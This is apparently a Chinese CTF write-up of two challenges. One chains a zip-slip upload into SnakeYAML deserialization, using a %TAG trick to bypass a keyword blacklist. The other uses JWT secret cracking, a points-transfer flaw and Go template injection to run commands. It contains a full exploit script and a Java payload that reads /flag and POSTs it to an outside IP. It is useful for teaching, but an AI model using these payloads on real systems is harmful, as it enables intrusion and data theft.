首先反编译 jar
,根据 Controllers
,可以看到有一个文件上传路由,能够上传 zip 文件和解压 zip 文件,还有一个是解析 yaml 文件。因此这道题是分两步走,第一步是通过 unzip 做到目录穿越给 yaml 解析,然后第二步是 yaml 解析的反序列化漏洞。
@PostMapping({"/upload"})
public ResponseEntity<String> upload(@RequestParam("file") MultipartFile file) {
if (!file.getOriginalFilename().endsWith(".zip")) {
return ResponseEntity.status(HttpStatus.BAD_REQUEST).body("Only .zip files are allowed.");
}
File destinationFile = new File("/tmp/" + file.getOriginalFilename());
try {
file.transferTo(destinationFile);
return ResponseEntity.ok("File uploaded successfully: " + destinationFile.getAbsolutePath());
} catch (IOException e) {
return ResponseEntity.status(HttpStatus.INTERNAL_SERVER_ERROR).body("File upload failed: " + e.getMessage());
}
}
@PostMapping({"/unzip"})
public ResponseEntity<String> unzip(@RequestParam("filename") String filename) {
File zipFile = new File("/tmp/" + filename);
if (!zipFile.exists() || !zipFile.getName().endsWith(".zip")) {
return ResponseEntity.status(HttpStatus.BAD_REQUEST).body("File does not exist or is not a .zip file.");
}
File destDir = new File("/tmp/unzipped/");
if (!destDir.exists()) {
destDir.mkdirs();
}
try {
ZipInputStream zipIn = new ZipInputStream(Files.newInputStream(zipFile.toPath(), new OpenOption[0]));
while (true) {
ZipEntry entry = zipIn.getNextEntry();
if (entry == null) {
break;
}
File newFile = new File(destDir, entry.getName());
if (entry.isDirectory()) {
newFile.mkdirs();
} else {
new File(newFile.getParent()).mkdirs();
Files.copy(zipIn, newFile.toPath(), new CopyOption[0]);
}
zipIn.closeEntry();
}
ResponseEntity<String> ok = ResponseEntity.ok("File unzipped successfully to: " + destDir.getAbsolutePath());
if (zipIn != null) {
if (0 != 0) {
zipIn.close();
} else {
zipIn.close();
}
}
return ok;
} catch (IOException e) {
return ResponseEntity.status(HttpStatus.INTERNAL_SERVER_ERROR).body("Unzipping failed: " + e.getMessage());
}
}
private static final String BASE_PATH = "/opt/resources/";
private static final String[] RISKY_STR_ARR = {"ScriptEngineManager", "URLClassLoader", "!!", "ClassLoader", "AnnotationConfigApplicationContext", "FileSystemXmlApplicationContext", "GenericXmlApplicationContext", "GenericGroovyApplicationContext", "GroovyScriptEngine", "GroovyClassLoader", "GroovyShell", "ScriptEngine", "ScriptEngineFactory", "XmlWebApplicationContext", "ClassPathXmlApplicationContext", "MarshalOutputStream", "InflaterOutputStream", "FileOutputStream"};
@PostMapping({"/handle"})
public String handleYamlFile(@RequestParam String filename) throws Exception {
String[] strArr;
if (filename == null || filename.isEmpty() || filename.contains("..")) {
throw new IllegalArgumentException("Invalid filename.");
}
File file = new File(BASE_PATH + filename);
if (!file.exists() || !file.getAbsolutePath().startsWith(new File(BASE_PATH).getAbsolutePath())) {
throw new IllegalArgumentException("File not found or access denied.");
}
Yaml yaml = new Yaml();
FileInputStream inputStream = new FileInputStream(file);
StringBuilder contentBuilder = new StringBuilder();
InputStreamReader inputStreamReader = new InputStreamReader(inputStream);
BufferedReader bufferedReader = new BufferedReader(inputStreamReader);
while (true) {
String line = bufferedReader.readLine();
if (line == null) {
break;
}
contentBuilder.append(line).append(System.lineSeparator());
}
String payload = contentBuilder.toString();
for (String riskyToken : RISKY_STR_ARR) {
if (payload.contains(riskyToken)) {
System.out.println("Cannot have malicious remote script");
throw new IllegalArgumentException("File contains risky content.");
}
}
yaml.loadAs(payload, Object.class);
return "hack it";
}
解压在 /tmp/unzipped
,要求弄到 /opt/resources
。这个很简单,创建 zip 的时候,把文件名加上 ../../../opt/resources
前缀就行了。
def gen_zip(filename):
try:
zipFile = zipfile.ZipFile(f'bad.zip', 'w')
zipFile.write(f"exp.yaml", f"../../../opt/resources/{filename}", zipfile.ZIP_DEFLATED)
zipFile.close()
except Exception as e:
print(e)
首先根据 https://github.com/artsploit/yaml-payload/,得到如下:
!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["http://xxx/xxxx.jar"]
]]
]
但是 !!,ScriptEngineManager,URLClassLoader 都被禁了。
https://b1ue.cn/archives/407.html 讲述了一个绕过 !! 的方法。原因是每个 !! 修饰过的类都转成了一个 TAG。并且使用了一个固定的前缀:tag:yaml.org,2002:
。因此 !!javax.script.ScriptEngineManager
会变成 !<tag:yaml.org,2002:javax.script.ScriptEngineManager>
,因此要绕过 !!
,我们只需要声明 ! 的 tag 是 tag:yaml.org,2002:
,这样子后面再调用 !str
的话实际上就会把 TAG 前缀拼起来得到 tag:yaml.org,2002:str
。
%TAG ! tag:yaml.org,2002:
---
!javax.script.ScriptEngineManager [!java.net.URLClassLoader [[!java.net.URL ["http://xxx/xxxx.jar"]]]]
再更进一步的,如果我们定义 ! 的 tag 是 tag:yaml.org,2002:javax.script.ScriptEn
,这样子 !gineManager
就会拼接为 tag:yaml.org,2002:javax.script.ScriptEngineManager
,这样就完成绕过了。
%TAG !a! tag:yaml.org,2002:javax.script.ScriptEng
%TAG !b! tag:yaml.org,2002:java.net.URLClassL
%TAG !c! tag:yaml.org,2002:java.net.U
---
!a!ineManager [
!b!oader [[
!c!RL ["http://xxx/xxx.jar"]
]]
]
然后配合文件上传,就可以解析 jar 了。实际攻击时,因为可以出网,所以就外部开了个 web 服务器,然后从外部加载 jar。
--release 8
才成功。exp.py
import os
import zipfile
import requests
remote = 'http://localhost:8085/'
filename = os.urandom(8).hex()
def gen_zip(filename):
try:
zipFile = zipfile.ZipFile(f'bad.zip', 'w')
zipFile.write(f"exp.yaml", f"../../../opt/resources/{filename}", zipfile.ZIP_DEFLATED)
zipFile.close()
except Exception as e:
print(e)
def upload_zip(filename):
files = {'file': (f'{filename}.zip', open('bad.zip', 'rb'), 'application/zip')}
response = requests.post(f'{remote}/api/upload', files=files)
print(response.text)
def do_unzip(filename):
data = {
"filename": f"{filename}.zip"
}
response = requests.post(f'{remote}/api/unzip', data=data)
print(response.text)
def do_yaml(filename):
data = {
"filename": f"{filename}"
}
response = requests.post(f'{remote}/yaml/handle', data=data)
print(response.text)
gen_zip(filename)
upload_zip(filename)
do_unzip(filename)
do_yaml(filename)
%TAG !a! tag:yaml.org,2002:javax.script.ScriptEng
%TAG !b! tag:yaml.org,2002:java.net.URLClassL
%TAG !c! tag:yaml.org,2002:java.net.U
---
!a!ineManager [
!b!oader [[
!c!RL ["http://10.222.35.21:29023/yaml-payload.jar"]
]]
]
public AwesomeScriptEngineFactory() {
try {
ProcessBuilder processBuilder = new ProcessBuilder();
processBuilder.command("cat", "/flag");
Process process = processBuilder.start();
StringBuilder lsOutput = new StringBuilder();
try (BufferedReader reader = new BufferedReader(
new InputStreamReader(process.getInputStream())
)) {
String line;
while ((line = reader.readLine()) != null) {
lsOutput.append(line).append("\n");
}
}
int exitCode = process.waitFor();
URL url = new URL("http://10.222.35.21:39482/");
HttpURLConnection connection = (HttpURLConnection) url.openConnection();
connection.setRequestMethod("POST");
connection.setDoOutput(true);
connection.setRequestProperty("Content-Type", "text/plain; charset=UTF-8");
try (OutputStream outputStream = connection.getOutputStream()) {
outputStream.write(lsOutput.toString().getBytes("UTF-8"));
}
int responseCode = connection.getResponseCode();
} catch (Exception e) {
e.printStackTrace();
}
}
登录之后发现 /buy
仍然是 Unauthorized,发现 localStorage 里面放了一个 jwt。于是暴力破解:
>python jwt_tool.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3MzIxODI0OTMsInN1YiI6ImFkbWluYWRtaW4ifQ.ozQR2mEWFqVulXYswd13e6I84BwWFsSFZo_eElJ263c -C -d ../../rockyou.txt
Original JWT:
[+] secret is the CORRECT key!
You can tamper/fuzz the token contents (-T/-I) and sign it using:
python3 jwt_tool.py [options here] -S hs256 -p "secret"
然后用 secret
签名,将用户名改成 admin
,发现没用,然后把 token
加到 Cookie 里面,成功打开 /buy
。
进入之后,发现有四个按钮。
第一个是拿100块钱,第二个是给admin送10块钱然后加10points,然后第三个是提示8000分,然后第四个按钮留言提示需要sign才能使用,从第一和第二个按钮的返回值可以看出,sign目前是空的。
然后就通过普通账号和admin账号互相刷分,成功让 admin 拿到 8000 分,但是提示还是显示需要 8000分
,但是 sign
变成非空的了,猜想下一步应该是留言。
留言板用 {{ }}
很明显是一个 ssti,但是用 flask 的 ssti 的常见 payload 都过不了。所以考虑其他的。
搜了下 Handlebars 啥的 ssti,都不行。然后输入 %
的时候,结果变成了 !% (MISSING)
,搜了下发现是 go 的 fmt 导致的。于是知道这是一个 go 的 ssti。
用 {{.}}
得到 {/api/v2/backdoor/test/file is the test file}
,然后这个文件提示了:
func (msg *Command) System(cmd string) string {
out, err := exec.Command("sh", "-c", cmd).CombinedOutput()
if err != nil {
return fmt.Sprintf("Error: %v", err)
}
return string(out)
}
然后用 {{.System "cat /flag"}}
拿到 flag。
前端交互写的一坨屎,根本用不来,全都是得自己手动看包才可以。
题目源文件:https://assets.yemaster.cn/2024/11/dc2f3729fb81adca6a2c442c74f8557b.zip
hello 师傅 能留下个联系方式吗
回您邮件了。